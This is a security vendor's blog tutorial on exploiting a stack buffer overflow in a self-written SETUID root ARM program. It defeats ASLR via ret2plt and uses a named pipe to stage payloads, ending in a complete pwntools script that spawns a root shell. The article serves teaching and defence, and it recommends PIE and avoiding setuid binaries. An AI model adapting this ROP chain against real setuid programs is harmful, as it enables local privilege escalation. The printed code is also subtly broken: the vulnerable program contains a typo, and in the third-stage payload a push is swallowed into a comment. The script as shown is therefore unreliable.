FortiGuard Labs Threat Research

Tutorial of ARM Stack Overflow Exploit against SETUID Root Program

By Kai Lu | July 31, 2020

FortiGuard Labs Threat Research Report

In part I of this blog series, “Tutorial of ARM Stack Overflow Exploit – Defeating ASLR with ret2plt”, I presented how to exploit a classic buffer overflow vulnerability when ASLR is enabled. That target program calls the function gets() to read a line from stdin.

In this blog, I will demonstrate how to use data from a local file, instead of stdin, to cause a stack overflow. For this scenario, as in part I, the ASLR (address space layout randomization) feature is enabled on the target machine. Likewise, in order to complete a full exploit, an attacker first needs to defeat ASLR before performing code execution. Additionally, we will use named pipe to feed data into the local file that the target program could read during the different exploit stages. 

Exploit and Debug Environment

Raspberry PI 4B model 4GB: Raspberry Pi OS, ARMv7l GNU/Linux

Debugger: GDB 9.2 with GEF

Exploit Development Tool: pwntools

Vulnerable Program

I wrote a pretty straightforward vulnerable program as the target.

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *in, unsigned int len)
{
    har buf[56]={0};
    memcpy(buf,in,len);
    return 1;
}

int main(int argc, char **argv)
{
    FILE *evilfile = NULL;
    char dst[256]={0};
    evilfile = fopen("./evilfile", "r");
    if(evilfile == NULL){
             printf("[!] evilfile doesn't exist, you need to create evilfile.\n");
        return 0;
    }
    fread(dst, sizeof(char), 256, evilfile);
    bof(dst,sizeof(dst));
    fclose(evilfile);
    printf("[*] Return properly.\n");
    return 1;
}

This program can read 256 bytes of data from the local file, named ‘evilfile’, and then copy those 256 bytes of data into a 56-bytes buffer. This could lead to a classic stack buffer overflow. Next, we compile it with GCC, as follows. We use the default setting in GCC without any options. By default, the compiled binary has the security feature Partial RELRO and NX enabled. 

Figure 1. Compiling the vulnerable program with the default setting

 

Relocation Read-Only (or RELRO) is a security measure that makes some binary sections read-only. There are two RELRO "modes": partial and full. For Partial RELRO, some sections are marked as read-only after the program load, except that the GOT (.got.plt) is still writeable. 

Let’s drag the generated binary into a disassembler and see its ARM assembly code. 

Figure 2. The ARM assembly code of the target program

To make this exploit experiment more interesting, we can compile the above vulnerable program and make it SETUID root. The setuid bit simply indicates that when running the executable it will set its permissions to that of the user who created it (owner), instead of setting it to the user who launches it. You can use the following commands to make the target SETUID root. We can also change the owner of the binary to root and enable setuid bit on it.

Figure 3. Setting the target binary to SETUID root

Since this program is a SETUID root program, an unprivileged user can exploit the buffer overflow to gain a root shell. Next, we run the target with the current user ‘pi’. Our goal is to get a root shell by exploiting the stack buffer overflow vulnerability. 

Feeding Data Using Named Pipe

To perform the full exploit, we need to divide it into multiple exploit stages. In every stage, we need to feed different payloads into the local file that the target program reads data from. To meet this requirement, a mechanism called named pipe in Unix and Unix-like system is used. A named pipe (also called ‘a named FIFO,’ or just ‘FIFO’) is a pipe whose access point is a file kept on the file system. 

By opening this file for reading, a process gains access to the reading end of the pipe. By opening the file for writing, the process gains access to the writing end of the pipe. Reading from a named pipe is very similar to reading from a file, and the same goes for writing to a named pipe. If a process opens the file for reading, it is blocked until another process opens the file for writing. The mkfifo command basically lets you create FIFOs (aka named pipes). The following is a demonstration video of writing and reading a named pipe file.

Defeating ASLR with ret2plt and Named Pipe

In the prior section, we could see that there was no PIE (position-independent executable) on the binary task_uid. That means that the mapping memory address of the image task_uid is fixed in the process space. This makes it possible to defeat ASLR with ret2plt. 

The binary directly uses the function puts(), as shown in Figure 2, so I decided to leak the address of the function puts() in libc.so since we had already controlled the pc register, like the following.

Figure 4. The controlled PC

We can utilize an ROP (return-oriented programming) chain to execute puts@PLT(puts@GOT) to leak the address of puts(). Both addresses of puts@PLT and puts@GOT are fixed due to there being no PIE in binary task_uid. We then used the tool Ropper to discover three gadgets in the binary task_uid that met our requirements. 

Figure 5. The three gadgets in the binary task_uid

The addresses of puts@PLT and puts@GOT are shown as follows.

Figure 6. The addresses of puts@PLT and puts@GOT

Let’s go back to see Figure 1. We can see the target binary enabled Partial RELRO feature. Let’s take a look at the .GOT section in GDB, when the target program breaks at the main function. 

Figure 7. The values in .GOT section when breaking the main function

As shown in Figure 7, most values in the .GOT section haven’t been resolved when the program breaks at the main function. That’s because the function puts@plt hasn’t been called. When a PLT function is called for the first time, the PLT code could read the address of the resolver from the .GOT section and jump to it. Then the resolver could fill in the .GOT section and then jump to the real function address. After this initialization, the .GOT section has been filled. 

In Figure 2, we can see the function puts@plt hasn’t been called before overflowing the stack buffer. So if we only execute puts@plt(puts@got) in the payload, we cannot get the correct address of the function puts() in libc.so since the value of puts@got hasn’t been initialized. At this point, we first need to call puts@plt(“./evilfile”) to complete the initialization of puts@got, then call puts@plt(puts@got) to leak the real address of the function puts() in libc.so. 

The following is the code snippet of leaking the address of the function puts().

Figure 8. The code snippet of leaking the address of the function puts()

The following is the 4-bytes of leaked data that is the real address of the function puts() in libc.so. We can now calculate the base address of libc.so

Figure 9. The leaked address of puts()

Code Execution Stage

In the above section, we successfully got the base address of libc.so. In this section, we will perform the code execution needed to get the root shell. We can get the address of the system() call in the process space, and also find out the string “/bin/sh” in libc.so. To get the root shell, only executing the function system(“/bin/sh”) is insufficient. We have to execute the function setuid(0) before calling the function system(“/bin/sh”). Calling the function setuid(0) enables us to gain the privileges of the user 0(root). We can then get a root shell by executing system(“/bin/sh”).

The payload of this stage is set up as follows:

Figure 10. The code snippet of performing code execution

After executing the first payload, the program is able to jump to the entry point to execute itself again. At the second stage, we feed the payload into evilfile using a named pipe and then execute the function setuid(0). The program then jumps to the entry point again to execute the third payload. Finally, the function system(“/bin/sh”) is called in the third stage and it can spawn a root shell. At this point, we have completed the full exploit. 

Figure 11. Spawning a root shell

Conclusion

In this tutorial, we presented another technique on how to exploit a classic buffer overflow vulnerability against a SETUID root program when ASLR is enabled. Because the security mitigation PIE and stack canary are not enabled in the target binary, it becomes possible to defeat ASLR using ret2plt and perform the full exploit. Additionally, another useful technique we used is the named pipe mechanism. It allows us to feed payload data in multiple exploit stages. When the target is a SETUID binary with root owner, we finally get a root shell when we run exploit script with the unprivileged user.  

Solution

If the PIE feature is added in the target binary, the above exploit will fail. We recommend that app developers enable PIE and other security mitigation features when developing apps for the ARM architecture. This way, even if a buffer overflow vulnerability exists in the app, it’s still difficult for attackers to develop a working exploit. Additionally, if the program is a SETUID root binary that is vulnerable to a stack buffer overflow, its can potentially be exploited to get a root shell, and the attacker could perform more malicious behaviors at the root privilege. The point is, developers had better not set a SETUID root binary except for some special cases.

Exploit Script Code

import os
from pwn import *

puts_plt = 0x000103c4
puts_got = 0x00021018
entry = 0x00010548
puts_offset_in_libc = 0x5e530
system_offset_in_libc = 0x389c8
setuid_offset_in_libc = 0xa039c
#0x0012bb6c   db         "/bin/sh", 0
binsh_offset_in_libc = 0x0012bb6c
#0x0001066c   db         "./evilfile", 0
putsstr = 0x0001066c

READBUFLEN = 256
target = os.path.abspath("./task_uid")
try:
    os.unlink("./evilfile")
except:
    pass
os.mkfifo("./evilfile")


p = process(target)


#the third parameter buffering is set to 0 for binary mode, 0 means unbuffered
np_handle = open("./evilfile",'wb',0)

#0x0001053c  pop {fp, pc}; //controlled pc
#0x0001064c: pop {r4, r5, r6, r7, r8, sb, sl, pc}; //gadget1
#0x00010660: pop {r3, pc}; //gadget2
#0x0001063c: mov r0, r7; blx r3; //gadget3
gadget1 = 0x0001064c
gadget2 = 0x00010660
gadget3 = 0x0001063c

payload = b''
payload += b'A'*60
payload += p32(gadget1) # pc

payload += p32(0) #r4
payload += p32(0) #r5
payload += p32(0) #r6
payload += p32(putsstr) #r7, it points to the string "./evilfile", it will be passed to puts@plt as a parameter 
payload += p32(0) #r8
payload += p32(0) #sb
payload += p32(0) #sl
payload += p32(gadget2) #pc,  

payload += p32(puts_plt) #
#Jump to gadget3, it will call puts@plt("./evilfile").
#After then, puts@got has been resolved. Next, we can call puts@plt(puts@got) to leak the base address in libc.so
payload += p32(gadget3) 

payload += p32(0) #r4
payload += p32(0) #r5
payload += p32(0) #r6
payload += p32(puts_got) #r7, it stores the address of puts@got, it will be passed to puts@plt as a parameter 
payload += p32(0) #r8
payload += p32(0) #sb
payload += p32(0) #sl
payload += p32(gadget2) #pc,  

payload += p32(puts_plt) #
payload += p32(gadget3) # jump to gadget3, it will call puts@plt(puts@got) to leak the address of puts in libc.so

payload += p32(0) #r4
payload += p32(0) #r5
payload += p32(0) #r6
payload += p32(0) #r7
payload += p32(0) #r8
payload += p32(0) #sb
payload += p32(0) #sl
payload += p32(gadget2)

payload += p32(0) 
payload += p32(entry) # jump to entrypoint to execute the program again to setup next stage's payload

#It's noted that you need to setup payload with 256 bytes buffer
#because the buffer size to read memory in the function fread() is 256 bytes
#otherwise the pwntool-powered program could be stuck to wait for more data to read
left = READBUFLEN - len(payload)
payload += b'X'*left

print("[*] The 1st stage payload: {}".format(payload.hex()))
np_handle.write(payload)

recv_str = p.recvline()
print("[*] receive {}".format(recv_str))

recvdata = p.recv(4)
print("[*] recv data: {}".format(recvdata.hex()))
puts_addr = u32(recvdata)
print("[*] Got puts() address: " + str(hex(puts_addr)))
print("[*] libc.so base address: " + str(hex(puts_addr-puts_offset_in_libc)))

#p.clean()

libc_base = puts_addr - puts_offset_in_libc
system_addr = libc_base + system_offset_in_libc
binsh_addr = libc_base + binsh_offset_in_libc
setuid_addr = libc_base + setuid_offset_in_libc
print("[*] system address: "+ str(hex(system_addr)))
print("[*] binsh address: "+ str(hex(binsh_addr)))
print("[*] setuid address: "+ str(hex(setuid_addr)))

payload = b''
payload += b'A'*60
payload += p32(gadget1) # pc

payload += p32(0) #r4
payload += p32(0) #r5
payload += p32(0) #r6
payload += p32(0) #r7, it stores uid 0, it will be passed to setuid() as a parameter 
payload += p32(0) #r8
payload += p32(0) #sb
payload += p32(0) #sl
payload += p32(gadget2) #pc,

payload += p32(setuid_addr) #r3
#Jump to gadget3, it will call setuid(0)
payload += p32(gadget3)

payload += p32(0) #r4
payload += p32(0) #r5
payload += p32(0) #r6
payload += p32(0) #r7
payload += p32(0) #r8
payload += p32(0) #sb
payload += p32(0) #sl
payload += p32(gadget2)

payload += p32(0) 
payload += p32(entry) # jump to entrypoint to execute the program again to setup next stage's payload

left = READBUFLEN - len(payload)
payload += b'X'*left
print("[*] The 2nd stage payload: "+payload.hex())
np_handle.write(payload)

payload = b''
payload += b'A'*60
payload += p32(gadget1) # pc

payload += p32(0) #r4
payload += p32(0) #r5
payload += p32(0) #r6
payload += p32(binsh_addr) #r7, it points to the string "/bin/sh", it will be passed to system() as a parameter payload += p32(0) #r8
payload += p32(0) #sb
payload += p32(0) #sl
payload += p32(gadget2) #pc,

payload += p32(system_addr) #r3
#Jump to gadget3, it will call system("/bin/sh")
payload += p32(gadget3)

left = READBUFLEN - len(payload)
payload += b'X'*left
print("[*] The 3rd stage payload: "+payload.hex())
np_handle.write(payload)
p.interactive()

References

https://github.com/Gallopsled/pwntools
https://github.com/hugsy/gef
http://www.cs.kent.edu/~ruttan/sysprog/lectures/shmem/pipes.html
https://wiki.archlinux.org/index.php/Arch_package_guidelines/Security#RELRO

Learn more about FortiGuard Labs threat research and the FortiGuard Security Subscriptions and Services portfolioSign up for the weekly Threat Brief from FortiGuard Labs. 

Learn more about Fortinet’s free cybersecurity training initiative or about the Fortinet Network Security Expert programNetwork Security Academy program, and FortiVet program.